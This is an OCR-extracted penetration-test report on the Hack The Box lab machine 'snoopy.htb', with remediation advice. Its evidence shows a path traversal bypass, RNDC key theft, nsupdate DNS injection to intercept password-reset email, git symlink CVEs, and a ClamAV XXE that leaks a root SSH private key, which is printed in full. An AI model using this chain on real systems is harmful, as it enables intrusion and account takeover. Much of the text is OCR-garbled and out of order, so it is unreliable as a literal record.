+Ez4xSWeWMmnBKOw TS5 jtwyWsKOm3JQAC+tp/W3ZL5cVndelL4o0eMj+0k1 1L Txrz+FaY8i
+zXD3 juya3d+t1FY5Zna60cWh527ihXrE jx15kkFBOMLNG@nUPZa3qWP3oeH jctECRUBFL/G
ePah55YSDEWNDXh+g330/0014LhIcwAAAAMBAAEAAAGABNMNT FyyasYeklv+4TBQ/MBihU
fFlvY@lckfdkRet6f@Whexolbz/ThqNbirhKLSOV3 /7 jk6b3RB6a70bpGSAz1zV IdebEtyE
oull/HWxR2SI019hulX ]/ OnMCIUvApuwd juoHOKQs T io0MLDCxMyhmGq5pcO4GUMC2KOC XX
dX62106B51VeuVFC4dNIwtbmucocVulwlUSIdWUT45WyC jMspmH JPCWQFSWE8nYvsSkpl7ln
Zvf5YiqLhX4pTPr6Y/sLeGFO4M/mGpgskSdepxypBhD7mFEK jH7zN/dDoRp9catISeTVvY
YnUIbDETWaLl+Isrm2blOY160Z8CSAMW j4z5giVSnLtIvAFoDbaoHvUzrnir57wxmgloGrt
70bZgpbBhX/GzitstO8EUefGAMLC+CME JATAICALYTWT ikLRXGvU930Q/cS@nRg@xFM10EQ
gb6AQCENTS3rBUZSS/cZwdpP2ZkuPPby@thpbncG13mMDNSpGRZhNMKGJ+Knz TCXxumBAAAA

EIF/p2yZfhgXBZAJ9aUK/TETudAmgUvvvrxNIvas7 /xwt9yhoEsWcEfMQEWwru7y8oH2e
TAFpy9gH0I2Ue10zA1Ihhblluixf+20gcs4/FEN85CSIcyXublsYryvyGrNOIS5trBelVl
BMlbbmy jgavcbd6fn2katukFin+0yWTh/gyJ2LN5VICsQ3M+gopfgDPE3pTroMueaDi+ch
k5gNOTkGsn6BKRGYEK jKhTrN309WSVGMGF17119xvX6m7 iDQAAAMEA/ cBAGETCONB3AZpy
2cHu6aN@sn6V1+tgoUBWhOLOAr709UrczRInN4voR TMW,/VEmkhDgU56nHmzderKaugvTRL
bOMNQg/YZmrZBnHmUBCvbCzg/4t j45MuHg2bUMIaUKpkRGY1cv1BH+@6NV@irTSue /ro4U
+WIyKylik+ogCPCAgl4rRQiLftKebRAgY7 +uMhFCo63WSNRApcdO+s@m7 LArpj2rVBloly
dydg+68CXtKuSWrPBuB1oDp3BNCShOAAAAWDDZe7mYQ1hY4WoZ3G0aDIhg1gBOKV2HFPTL
9015RLXne6qtCNxZpDjt3u7646/aN32vTUVZGYT twkk /HBPYyUB19ROGCCRAWydLcBADY LD
INQ/nYgjSvIiFRAP1AM7EiGbNhrchUelRg@RDugmshwly6FXtBrGy27bR+ucHilW+njbate
SN/s5jHa19HkZ JelcyGmU3s/ESyN6HgFLOXFyGigTLdwVVutrE/Mvkm31ii/0GqDkgW3 PwgW
atURAwHtCazK8AAAAPCMIvAEBZbmIvcHkuaHRIAQIDBA—
END OPENSSH PRIVATE KEY

LibClamAV debug: cli_scandmg: wanted blkx, text value is cSum

LibClamAV debug: c¢li_scandmg: wanted blkx, text value is nsiz

LibClamAV debug: cli_scandmg: wanted blkx, text value is plst

LibClamAV debug: Descriptor[3]: Continuing after file scan resulted with: No viruses detected
LibClamAV debug: matcher_run: performing regex matching on full map: 369216+54959(424175) = 424175
LibClamAV debug: hashtab: Freeing hashset, elements: @, capacity: @

LibClamAV debug: Descriptor[3]: Continuing after file scan resulted with: No viruses detected
LibClamAV debug: cli_magic_scan: returning @ at linme 4997

LibClamAV debug: clean_cache_add: 7bb1b@6b5ddlc7eed84de758b2c87edf (level @)

LibClamAV debug: Descriptor[3]: Continuing after file scan resulted with: No viruses detected
/home/sbrown/scanfiles/dark2.dmg: OK

LibClamAV debug: Cleaning up phishcheck

LibClamAV debug: Freeing phishcheck struct

LibClamAV debug: Phishcheck cleaned up

SCAN SUMMARY
Known viruses: 8659@55
Engine version: 1.0.0
Scanned directories: @
Scanned files: 1
Infected files: @
Data scanned: @.85 MB
Data read: @.48 MB (ratio 2.12:1)
Time: 17.823 sec (@ m 17 s)
Start Date: 2026:86:21 @3:21:16
End Date: 2026:06:21 83:21:33
shrowngsnoopy:-/scanfiles$ |
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chmod 600 root_id_xrsa

ssh -i root_id_rsa root@snoopy.htb

R_Roxss/retired/snoopy]

# Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the "unminimize' command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-1ts. Check your Internet connection or proxy settings

Last login: Fri May 12 21:28:56 2023 from 10.102.14.46
rootasnoopy:~# ls
clean.sh aine db.snoopy.htb named_restore.sh root.txt
Zootalsnoopvii_cat root.txt
|c89845599f7eb7ddecaba7febs5adcéc |

‘Tootasnoopy: -~
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6 Remediation Summary

The findings from this assessment span web application security, DNS service hardening, application
credential handling, and two unpatched CVEs. The remediation actions below are prioritised by
potential impact, with immediate actions targeting the vulnerabilities that enabled initial access and
system compromise.

6.1 Short Term
SHORT TERM REMEDIATION:

* Patch both git and ClamAV to versions that address CVE-2023-22490, CVE-2023-23946, and
CVE-2023-20052. For git, upgrade to 2.39.2 or later (or distribution backports). For ClamAYV, upgrade
to 1.0.1 or later. Until patched, the sudo rules permitting git apply as sbrown and clamscan --
debug as root represent a direct privilege escalation path for any user who obtains shell access.

* Restrict or remove the BIND RNDC key from the web server's readable file system. RNDC keys grant
write access to the DNS zone and should only be accessible to the BIND daemon process. Verify
that /etc/bind/ and its contents are not readable by the web application user. Regenerate the
RNDC key immediately.

* Fix the path traversal in the file download endpoint. Implement a strict allowlist of permitted
filenames rather than relying on traversal sequence filtering. The ....// double-dot bypass
demonstrates that blacklist-based filters are not a reliable control for path traversal. Use
realpath() or equivalent to resolve the final path and verify it begins with the intended base
directory before reading.

6.2 Medium Term
MEDIUM TERM REMEDIATION:

» Redesign the server provisioning feature to avoid presenting credentials to an unverified target.
The provisioning bot should authenticate to target servers using SSH key-based authentication with
host key verification enabled, so any server not presenting the expected host key will be refused.
Plaintext password authentication to arbitrary IPs should be removed entirely from the
provisioning flow.

* Implement DNSSEC to sign zone records and make unauthorised DNS record injection detectable
by resolvers. Review Active Directory Integrated DNS permissions (if applicable) and restrict who
can create or modify records in the zone. Monitor DNS zone changes and alert on new records
added by non-administrative processes.

* Restrict the allow-update policy in BIND to specific trusted management hosts rather than
accepting RNDC key authentication from any source. If DNS updates are required from external
hosts, limit by source IP as well.
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6.3 Long Term
LONG TERM REMEDIATION:

* Establish a vulnerability management process that tracks installed software versions against
published CVEs. Both git 2.34.1 and ClamAV 1.0.0 had known, publicly documented exploits at the
time of assessment. A patch management programme with a defined update cadence for all
internet-facing and privileged system components would have prevented both CVE-based privilege
escalations.

* Review all sudo rules and apply the principle of least privilege. Rules permitting execution of
complex tools (compilers, archive processors, scanning engines) with elevated rights should be
assessed for privilege escalation potential, particularly when the permitted tool processes user-
controlled input. If a sudo rule cannot be designed safely, consider architectural alternatives such
as running the privileged operation as a system service with a dedicated input queue rather than a
direct sudo invocation.

* Implement monitoring for anomalous DNS record changes and SMTP connections to the mail
server from unexpected sources. The attack chain in this assessment relied on two observable
events: a new DNS record appearing in the zone, and an SMTP session to a newly-resolving mail
host. Both would have been detectable with appropriate alerting in place.
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7 Technical Findings Details

1. BIND RNDC Key Stored in World-Readable Configuration
File Enables Authenticated DNS Zone Modification -

CWE CWE-522 - Insufficiently Protected Credentials
CVSS 3.1 10.0 / CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N

The ISC BIND RNDC key is stored in with permissions that
allow the web server process to read it. The RNDC key is the sole authentication
credential required to add, modify, or delete DNS records in the zone,

Root Cause ) . . . :
as configured in the EIRKEIEIt- IR ARl ARy directive. Once retrieved

via the path traversal in Finding 1, the key was used to inject an arbitrary DNS A
record without any further authentication.

Full write access to the DNS zone. A DNS A record for

was injected pointing at the attacker's machine, redirecting outbound mail delivery

Impact . .
P to an attacker-controlled SMTP listener and enabling Mattermost password reset
email interception.
« /etc/bind/named.conf — RNDC shared secret readable by the web server
Affected
process
Component

* snoopy.htb DNS zone — allow-update accepts the RNDC key from any source

Restrict permissions on and all BIND configuration files so
that only the service user can read them. The web server process should
have no access to the BIND configuration directory. Regenerate the RNDC key

SENLIE immediately after remediation. Additionally, restrict the policy in
to specific trusted source IP addresses as well as requiring the
RNDC key, so that possession of the key alone is not sufficient for DNS zone
modification.

https://bind9.readthedocs.io/en/latest/reference.html#statement-definition-and-
usage

References

Finding Evidence

The BIND zone configuration was read via path traversal, confirming the RNDC key gates DNS
updates:
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#& joe  Downloads press package etc bind Vi
EI
Session Actions Edit View Help
/
// Do any local configuration here
/e

// Consider adding the 1918 zones here, if they are not used in your
// organization
//include "/etc/bind/zones.rfci918";

zone “snoopy.htb™ IN {
type master;

file "/var/lib/bind/db.snoopy.hth";
allow-update { key "rndc-key™; };

;|

Reading /etc/bind/named.conf disclosed the key material in plaintext:

# joe = Downloads press package etc bind V4 Q

;ZI
Session Actions Edit View Help

B/ This is the primary configuration file for the BIND DNS server named.
. // Please read /[usr/share/doc/bind9/README.Debian.gz for information on the
[/{ structure of BIND configuration files in Debian, *BEFORE* you customize
[/{ this configuration file.

i

// If you are just adding zones, please do that in /etc/bind/named.conf.loca

include
include
include " /et i 3 E ad : es";

key "rndc-key" {
algorithm hmac-sha256;
secret "BEgltce ]

b

>
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2. DNS Record Injection via RNDC Key Enables Mail Server
Hijacking and Email Interception -

(@Y= CWE-350 - Reliance on Reverse DNS Resolution for a Security-Critical Action
CVSS 3.1 10.0 / CVSS:3.1/AV:N/AC:L/PR:N/UIL:N/S:C/C:H/I:H/A:N

Possession of the RNDC key (retrieved via Finding 2) allowed injection of an
arbitrary DNS A record into the zone using (EEEIRY. The corporate
website had disclosed that was offline with no existing DNS

Root Cause record. Creating this record pointing at the attacker's machine caused the
Mattermost platform to deliver password reset emails to the attacker-controlled
SMTP listener, enabling full account takeover for any account whose email address
was known.

Interception of Mattermost password reset emails. The reset token for
S gaeSlelelsVMalds) Was captured, decoded, and used to set a new password and

Impact ; . . . .
P authenticate to Mattermost, gaining access to internal channels including the
server provisioning system.
* snoopy.htb DNS zone — unauthenticated (post-RNDC-key-theft) A record
Affected >noopy (P y )
injection
Component

* Mattermost — email-based password reset, no secondary verification

Apply the RNDC key remediation in Finding 2 to prevent unauthorised DNS record
injection. Additionally, implement DNSSEC to allow resolvers to detect tampered

Remediation records. Consider requiring a secondary factor or verification step for Mattermost
password resets, such as a time-limited token that can only be used from the same
IP or browser session that initiated the reset request.

https://www.netspi.com/blog/technical-blog/network-penetration-testing/adidns-

References -
revisited/

Finding Evidence
A DNS AXFR confirmed the absence of a mail.snoopy.htb record:

e® Archwa |-[~/HTB_Boxes/retired/snoopy]
—% dig axfr @1@.129.229.5 snoopy.htb

; <<>> DiG 9.208.23-1-Debian <<>> axfr @1@.129.229.5 snoopy.htb
; (1 server found)
i7 global options: +cmd

snoopy -hth. 26400 IN SOA nsl.snoopy.htb. ns2.snoopy.htb. 2022032612 3600 1800 604200 85400
smoopy.htb. B6408 IN NS nsl.snoopy.htb.

snoopy.htb. 86400 IN NS ns2.snoopy.htb.

mattermost.snoopy.htb. 86400 IN A 172.18.8.3

mm.snoopy.htb. 26400 IN A i Bl S

nsl.snoopy.htb. B6408 IN A 16.6.50.10

ns2.snoopy.htb. 6408 IN A 10.6.51.10

postgres.snoopy.hthb. 86400 IN A 172.18.8.2

provisions.snoopy.htb. 86400 IN A 172.18.0.4

www . snoopy . htb. 86408 IN A 127.0.8.1

snoopy . htb. 6408 IN S04 nsl.snoopy.htb. ns2.snoopy.htb. 2022032612 3600 1800 604300 86400

ii Query time: 256 msec

ii SERVER: 10.129.229.5#53(10.129.229.5) (TCP)
73 WHEN: Sat Junm 20 19:45:36 EDT 2026

ii XFR size: 11 records (messages 1, bytes 325)
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The RNDC key was used with nsupdate to inject the record:

L—E Joe Avchwarden )-[~/HTB_Boxes/retired/snoopy |
$ nsupdate -k rndc.key

> server 108.129.2329.5

> zone snoopy.htb

> update add mail.snoopy.htb. 6@ A 10.1@.16.60
> send

> guit

A follow-up AXFR confirmed the record resolved to the attacker's IP:

L—l’ Joe® Archwarden )-[~/HTB_Boxes/retired/snoopy]
S dig axfr ©18.129.229.5 snoopy.htb

i <<>> DiG 9.208.23-1-Debian <<>> axfr @10.129.229.5 snoopy.htb
i (1 server found)
i+ global options: +cmd

snoopy.htb. 86400 IN SOA nsl.snoopy.htb. ns2.snoopy.htb. 2022832613 3600 1800 604800 86400
snoopy.htb. 86400 In NS nsl.snoopy.htb.

snoopy .htb. 86400 IN NS ns2.snoopy.htb.

{mail.snoopy.htb. 60 IN A 10.10.16.6@ |

mattermost.snoopy.ntb. 86408 IN K 172.18.0.3

mm.snoopy.htb. 86408 IN A 127.0.8.1

nsl.snoopy.htb. 86400 InN A 10.9.50.10

ns2.snoopy.htb. 86400 In A O G e

postgres.snoopy.htb. 86400 IN A 172.18.9.2

provisions.snoopy.htb. 86488 1IN A 172.18.8.4

W . snoopy. htb. 86408  IN A 127.8.8.1

snoopy.htb. 8e4R@  IN sS04 nsl.snoopy.htb. ns2.snoopy.htb. 2022032613 3600 1800 6OLB00 86400

77 Query time: 264 msec

;7 SERVER: 10.129.229.5#53(1@.129.229.5) (TCP)
77 WHEN: 5at Jun 20 19:49:83 EDT 2026

;i XFR size: 12 records (messages 1, bytes 346)

The Mattermost password reset email for sbrown@snoopy.htb was captured by the SMTP listener,
decoded from quoted-printable, and used to authenticate:
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i—E joe® Archwarden |-[~/HTB_Boxes/retired/snoopy i
L% sudo python3 -m aiesmtpd -n -1 9.08.0.8:25
MESSAGE FOLLOWS

mail options: ['BODY=8BITMIME']

MIME-Version: 1.8

Message-ID: <mfwpsl79isrm9fsp-178280811028mm.snoopy.htb>
Subject: [Mattermost] Reset your password

Reply-To: "No-Reply” <no-replyf@snoopy.htb>

From: "No-Reply” <no-reply@snoopy.htb>

To: sbrown@snoopy.htb

Content-Transfer-Encoding: 8bit

Auto-Submitted: auto-generated

Precedence: bulk

Date: Sun, 21 Jun 2826 88:18:22 +0000

Content-Type: multipart/alternative;
boundary=28c3a5d6e8717deBdB8c2ebc26a3240bbbB1fddd5e13a60c8e15c5962ac@B0

X-Peer: (°10.129.229.5', 33748)

—20c3a5d6eB717deBd8c2eb6c26a240bbbB]1 fddd5elaab@cB8e15c5962aCBE0
Content-Transfer-Encoding: guoted-printable
Content-Type: text/plain; charset=UTF-8

Reset Your Password
Click the button below to reset your password. If you didn=E2=-80=99t reqgues
t this, you can safely ignore this email.

eset Password ( http://mm.snoopy.htb/reset_password complete?token=3Dkbdfn=
oeth5oydn8h7bpowed354bnktzpauribm43gngmeh3f7umeigblaknlpjeqg )

The password reset link expires in 24 hours.

Questions?
Need help or have guestions? Email us at supportdsnoopy.htb ( support@snoop=
y.htb )

=C2=A9 2822 Mattermost, Inc. 538 Lytton Avenue, Second floor, Pale Alto, CA=
, 94301

—20c3a5d6eB717deB8d8c2eb6c26a240bbbB1fddd5elaab@cBe15c5962aCB80
Content-Transfer-Encoding: guoted-printable

Content-Type: text/html; charset=UTF-8
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°;  webatic.com/quoted-printable-convertor h| ¥ A

Webatic Charset | Unicode (utf-8) v Utiities ~ Blog =

Encode/Decode Quoted Printable

Decoded (readable by humans)

http://mm.snoopy.htb/reset_password_complete?
token=h8d5h=nx4rdy4x95wu5z06197kzxrx817r8wtchpgj76sjoenn9gztgmnf5gpddawc

] One line § Encode

Encoded

http://mm.snoopy.htb/reset_password_complete?
token=3Dh8d5h=nx4rdy4x95wu5z06197kzxrx817r8wtchpgqj76sjoenn9gztgmfSgp4dawc
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3. CVE-2023-20052 — ClamAV DMG XXE via sudo clamscan
Leaks Root SSH Private Key - High

CWE CWE-611 - Improper Restriction of XML External Entity Reference
CVSS 3.1 8.8 / CVSS:3.1/AV:L/AC:L/PR:L/UIL:N/S:C/C:H/T:H/A:H

The account holds a sudo rule allowing (GEIEIIEEEENNE to be run as root
against files placed in (ITEINEIEE. ClamAV version 1.0.0 is vulnerable to

CVE-2023-20052: an XML External Entity (XXE) vulnerability in its DMG (Apple Disk
Image) parser. When is active, the XML content parsed from the DMG is
written to standard debug output. A crafted DMG containing an XXE payload
referencing a local file path causes ClamAV to include that file's contents in the
debug stream. Running such a DMG against clamscan as root exposed the

contents of (RS VAR VAT IEET:].

Root Cause

Full root compromise. The root SSH private key was recovered from the clamscan
Impact debug output and used to authenticate directly as root via SSH, achieving full

system access and the root flag.

Affected + ClamAV 1.0.0 — CVE-2023-20052 XXE in DMG parser
Component * /usr/local/bin/clamscan — sudo rule permitting run as root with --debug

Upgrade ClamAV to version 1.0.1 or later, which addresses CVE-2023-20052. Until
patched, remove the sudo rule permitting as root. If virus
scanning of user-submitted files is an operational requirement, it should run in a

Remediation sandboxed environment that does not have access to sensitive root-owned files,
and debug output should not be surfaced to unprivileged users. Additionally,
rotate the root SSH private key immediately and restrict root SSH access to
authorised management hosts only.

* https://nvd.nist.gov/vuln/detail/CVE-2023-20052

References * https://blog.clamav.net/2023/02/clamav-01031-01021-and-1001-patch.html

Finding Evidence
sbrown's sudo rule was confirmed:

sbrowngsnoopy:~% sudo -1

Matching Defaults entries for sbrown on snoopy:
env_keep+="LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET", env_keep+="XAPPLRESDIR XFILESEARCHPATH XUSERFILESEARCHPATH",
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, mail_badpass

| User shrown may run the following commands on snoopy:
| (root) NOPASSWD: /usr/local/bin/clamscan “-—debug /home/sbrown/scanfiles/[a-zA-20-9.]+%

A malicious DMG was built inside a Docker container using libdmg-hfsplus and bbe, injecting an XXE
payload targeting /root/.ssh/id_rsa:
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L—{ joe® Archwarden)-[~/HTB_Boxes/retired/snoopy/CVE-2023-20052 ]
$ sudo docker build -t cve-2823-20052 .
[+] 14/14) FINISHED

1 1d definition

Ti

LU

SIS S S| S

b4 d

1556 61 S 501 =) S 15! 1S

The crafted DMG was transferred to the target's scanfiles/ directory:

shrowngsnoopy :
—2026-06-21
Connecting to 10. 16.60: connected.

HTTP request sent, awaiting ponse ... 200 0K
Length: 114752 (112K) [application/x-apple-diskimage]
Saving to: ‘dark2.dmg’

~/scanfiles$ wget 10.10.16.60:8081/dark2.dng
12 http://10.10.16.60:8001/dark2 . dmg

dark2.dmg 100%[ ] 112.86K  315KB/s in 0.4s

2026-06-21 03:12:51 (315 KB/s) — ‘dark2.dmg’ saved [114752/114752]

shrowngsnoopy:~/scanfiles$ 1s
dark2.dmg

Running clamscan --debug as root caused the XXE to execute and root's private key appeared in the
debug output:
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LibClamAV debug: cli_magic_scan: returning @ at line 4997

i - clean_cache add- Je3llhfhaef20007322111fdAA3803e8a (1eyal A)
LibClamAV debug: cli_scandmg: wanted blkx, text value is BEGIN OPENSSH PRIVATE KEY——
b3BlbnNzaClrZxktd jEAAAAABGSvbmUAAAAEDMBUZOAAAAAAAAABAAAB I wAAAAdDZC2EtCD
NhAAAAAWEAAQAAAYEA15602U3 j7mFQUs5XDGTIarth/iMUF6W20gsWOKPFNEMT FExZ2GID/
LgpYjIcyauPHSTV4TjNGMLB6A1zDTQIoKeMyN4KBPNZYMaVnB6IMGOAVthEullnYzogHmB T
hy@cp4EaM3gITal@AMBAbnvZbQyWhVZaQlSQ5HDHt@DwimWBueSeaxeugW3RYIGjKjuFSw
kfWsSVrLThSvf@gaviglS9WcBGh7IKFrEEcLXLggyDoprKq2ZGe6S2 foeUWkSY134Uz901
Ctgf161LFi4lm7t5jkhWaYzDRha70mSwpxucljOCG5dU/Ii1BAS JEBG7SPALTER/4dIp2U
ZrXxs/20qi/4TPIFIZ5YyaforTB/nm03DJawo6bclAAT62n9bdkv xWd14vig54yP7SSXU
tPGVP4AVDIYL7NCcPe07 Irf62UVjImdroSxaHnbukFevyPHXmSQUE4yU3S5d09 1 repY /eh4eN
y@QIGTQUVBZL49gHNT jwMTCcNeH6Dfc 786 ) XguEl zAAAFIADSIOIDrCFSAAAAB3NZaClyc2
|EARAGBANeetMING+ShUFLOVWX1Gq7YF4jFBeltgILFECixT FOHIxMc v/ + IKWIyHMmT §
x0qleH4zRJO0gIswBOCKCu jMjeCvDzc2DGlZweiDBvOFbYRLtdZ2MEKhSgX4ctHKeBG JNL
CE2tdADAQGS579m@MLoViWWk JUkORwx7dABNZ LgbnuXmsXrglt@WCRoyo7hUsJHIrElay@be
|b39TGldapefVnPBoeyChaxBHC1ybgsgbKayqtmRtOktn6H1 FpEmNd+FM/aCAran9epSxYu
C5u7eY5IVVMwOYWuzpucKcbnFIBAhuXVPYI9QQ0YxPBu+TwCHXET+HSKd1MB618bPIkKov
+Ez4xSWeWMmnBKOw TS5 jtwyWsKOm3JQAC+tp/W3ZL5cVndelL4o0eMj+0k1 1L Txrz+FaY8i
+zXD3 juya3d+t1FY5Zna60cWh527ihXrE jx15kkFBOMLNG@nUPZa3qWP3oeH jctECRUBFL/G
ePah55YSDEWNDXh+g330/0014LhIcwAAAAMBAAEAAAGABNMNT FyyasYeklv+4TBQ/MBihU
fFlvY@lckfdkRet6f@Whexolbz/ThqNbirhKLSOV3 /7 jk6b3RB6a70bpGSAz1zV IdebEtyE
oull/HWxR2SI019hulX ]/ OnMCIUvApuwd juoHOKQs T io0MLDCxMyhmGq5pcO4GUMC2KOC XX
dX62106B51VeuVFC4dNIwtbmucocVulwlUSIdWUT45WyC jMspmH JPCWQFSWE8nYvsSkpl7ln
Zvf5YiqLhX4pTPr6Y/sLeGFO4M/mGpgskSdepxypBhD7mFEK jH7zN/dDoRp9catISeTVvY
YnUIbDETWaLl+Isrm2blOY160Z8CSAMW j4z5giVSnLtIvAFoDbaoHvUzrnir57wxmgloGrt
70bZgpbBhX/GzitstO8EUefGAMLC+CME JATAICALYTWT ikLRXGvU930Q/cS@nRg@xFM10EQ
gb6AQCENTS3rBUZSS/cZwdpP2ZkuPPby@thpbncG13mMDNSpGRZhNMKGJ+Knz TCXxumBAAAA

EIF/p2yZfhgXBZAJ9aUK/TETudAmgUvvvrxNIvas7 /xwt9yhoEsWcEfMQEWwru7y8oH2e
TAFpy9gH0I2Ue10zA1Ihhblluixf+20gcs4/FEN85CSIcyXublsYryvyGrNOIS5trBelVl
BMlbbmy jgavcbd6fn2katukFin+0yWTh/gyJ2LN5VICsQ3M+gopfgDPE3pTroMueaDi+ch
k5gNOTkGsn6BKRGYEK jKhTrN309WSVGMGF17119xvX6m7 iDQAAAMEA/ cBAGETCONB3AZpy
2cHu6aN@sn6V1+tgoUBWhOLOAr709UrczRInN4voR TMW,/VEmkhDgU56nHmzderKaugvTRL
bOMNQg/YZmrZBnHmUBCvbCzg/4t j45MuHg2bUMIaUKpkRGY1cv1BH+@6NV@irTSue /ro4U
+WIyKylik+ogCPCAgl4rRQiLftKebRAgY7 +uMhFCo63WSNRApcdO+s@m7 LArpj2rVBloly
dydg+68CXtKuSWrPBuB1oDp3BNCShOAAAAWDDZe7mYQ1hY4WoZ3G0aDIhg1gBOKV2HFPTL
9015RLXne6qtCNxZpDjt3u7646/aN32vTUVZGYT twkk /HBPYyUB19ROGCCRAWydLcBADY LD
INQ/nYgjSvIiFRAP1AM7EiGbNhrchUelRg@RDugmshwly6FXtBrGy27bR+ucHilW+njbate
SN/s5jHa19HkZ JelcyGmU3s/ESyN6HgFLOXFyGigTLdwVVutrE/Mvkm31ii/0GqDkgW3 PwgW
atURAwHtCazK8AAAAPCMIvAEBZbmIvcHkuaHRIAQIDBA—
END OPENSSH PRIVATE KEY

LibClamAV debug: cli_scandmg: wanted blkx, text value is cSum

LibClamAV debug: c¢li_scandmg: wanted blkx, text value is nsiz

LibClamAV debug: cli_scandmg: wanted blkx, text value is plst

LibClamAV debug: Descriptor[3]: Continuing after file scan resulted with: No viruses detected
LibClamAV debug: matcher_run: performing regex matching on full map: 369216+54959(424175) = 424175
LibClamAV debug: hashtab: Freeing hashset, elements: @, capacity: @

LibClamAV debug: Descriptor[3]: Continuing after file scan resulted with: No viruses detected
LibClamAV debug: cli_magic_scan: returning @ at linme 4997

LibClamAV debug: clean_cache_add: 7bb1b@6b5ddlc7eed84de758b2c87edf (level @)

LibClamAV debug: Descriptor[3]: Continuing after file scan resulted with: No viruses detected
/home/sbrown/scanfiles/dark2.dmg: OK

LibClamAV debug: Cleaning up phishcheck

LibClamAV debug: Freeing phishcheck struct

LibClamAV debug: Phishcheck cleaned up

SCAN SUMMARY
Known viruses: 8659@55
Engine version: 1.0.0
Scanned directories: @
Scanned files: 1
Infected files: @
Data scanned: @.85 MB
Data read: @.48 MB (ratio 2.12:1)
Time: 17.823 sec (@ m 17 s)
Start Date: 2026:86:21 @3:21:16
End Date: 2026:06:21 83:21:33
shrowngsnoopy:-/scanfiles$ |
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The key was saved locally and used to authenticate as root:

ine@ hwarden)-[~/HTR_Roxes/retired/snoopy|

ssh -i root rnntasnuépg.hth
t E u Ld4.

+ Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

NU/Linux 5.15.@-71-generic x86_64)

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the "unminimize' command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-1ts. Check your Internet connection or proxy settings

Last login: Fri May 12 21:28:56 2023 from 10.18.14.46
root@snoopy:~# ls

clean.sh containers db.snoopy.htb git_2.34.31-1ubuntul.6_amd64.deb named_restore.sh

I(EQEQ5599f?sh?ddﬂ[aha?FEhSSad[Q(I
||

rootasnoopy :
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4. Path Traversal in File Download Endpoint Enables
Arbitrary File Read - High

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory (‘Path

S Traversal')

CVSS 3.1 7.5/ CVSS:3.1/AV:N/AC:L/PR:N/UL:N/S:U/C:H/I:N/A:N

The file download endpoint at (I IR EIIIRER) accepts a user-supplied
parameter and reads it from disk without adequate path validation. A filter

intended to block traversal sequences was bypassed using double-dot

Root Cause variants: the filter strips one layer, leaving the remainder to resolve as (§i. This
allowed unauthenticated read access to any file readable by the web server
process, including (TealEEEgE). BIND configuration files, and the RNDC key used
for DNS zone updates.

Arbitrary file read from the server without authentication. The path traversal was

Impact used to read the BIND RNDC key from ([ReSloncliErelaaa). cnabling

authenticated DNS zone manipulation and the full attack chain leading to system
compromise. See Finding 2 for the direct consequence of RNDC key exposure.

Affected

) Al : '
Gorpana http://snoopy.htb/download?file path traversal via ....// filter bypass

Replace the filter-based approach with a strict allowlist of permitted filenames. No
path separators, dot sequences, or encoded variants should be accepted. After
constructing the full intended path, use (or language equivalent) to

Remediation resolve any symlinks and canonicalise the path, then verify the resolved path
begins with the intended base directory before opening the file. Blacklist-based
path filters are not a reliable control for path traversal and should not be used as
the primary defence.

* https://portswigger.net/web-security/file-path-traversal

References * https://owasp.org/www-community/attacks/Path_Traversal

Finding Evidence

The download request for a legitimate file was captured in Burp:
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Project Intruder Repeater Burp Suite Commu

intercept ©  HTTP hi

Focus on What E e B httpi/jsnoopy htbidownloadzile=announcement.pdt
Matters

SnoopySec is a leading provider of DevSecOps tooling
for web-based businesses. We offer a comprehensive
suite of services designed to help our clients build and
maintain secure web applications throughout their
entire lifecycle.

Download our press release package here or download
our recent announcemert |

Request

Event log

A ....// traversal payload was substituted for the filename. The server returned a ZIP archive
containing the requested file, confirming read access:
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[Laby

Match and replace

URL

Focus On What | _
Matters L. Y e

snoopySec is a leading provider of DevsecOps tooling
for web-based businesses. We offer a comprehensive
suite of services designed to help our clients build and
maintain secure web applications throughout their
entire lifecycle.

Download our press release package here or download
our recent announcement here

Request

Refers htt
Upgrade-In

LPWrAF el L IR e ] Il\_\.!.l

# joe  Downloads  press_package

press_package press_release.zip
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5. CVE-2023-22490 / CVE-2023-23946 — git apply Symlink
Attack Enables Lateral Movement to sbrown - High

CWE CWE-61 - UNIX Symbolic Link (Symlink) Following
CVSS 3.1 7.1/ CVSS:3.1/AV:L/AC:L/PR:L/UL:N/S:U/C:H/T:H/A:N

The account holds a sudo rule permitting execution of (RSl IRIE IR
as (IETD The installed git version 2.34.1 is affected by two chained CVEs.

CVE-2023-22490 allows a local path clone to bypass symlink safety checks.
CVE-2023-23946 causes to follow symlinks in the working tree when
applying patches. Chaining these: a git repository is initialised containing a symlink
pointing at (fEeny's directory, and a crafted patch renames the symlink
(following it) and then creates a new file at the resolved path — writing an

attacker-controlled public key into EjdilsfsP4MCNS -

Root Cause

SSH private key authentication as (saas. providing an interactive shell and the
Impact user flag. holds a second sudo rule exploited in Finding 6 for privilege

escalation to root.

Affected * git 2.34.1 — CVE-2023-22490 / CVE-2023-23946
Component * /usr/bin/git apply — sudo rule permitting run as sbrown

Upgrade git to version 2.39.2 or later, or apply the distribution security patches for
CVE-2023-22490 and CVE-2023-23946. Until patched, the sudo rule should be
removed or suspended. If cross-user git apply is a genuine operational
requirement, it should be reimplemented using a wrapper that validates the patch
content against an allowlist and ensures the repository contains no symlinks
before applying.

* https://nvd.nist.gov/vuln/detail/CVE-2023-22490

* https://nvd.nist.gov/vuln/detail/CVE-2023-23946

* https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-

cwvm-v4w8-q58c

Remediation

References

Finding Evidence
cbrown's sudo rights and group membership were confirmed:

cbrowngsnoopy:~% sudo -1

[sudo] password for cbhrown:

Matching Defaults entries for cbrown on snoopy:
env_keep+="LANG LANGUAGE LINGUAS LC_#* _XKB_CHARSET", env_keep+="XAPPLRESDIR XFILESEARCHPATH XUSERFILESEARCHPATH",
secure_path=/usr/local/sbin\:/usr/local/bin%\:/usr/sbin\: /usr/bin\:/sbin\:/bin, mail_badpass

User cbrown may run the following commands on snoopy:
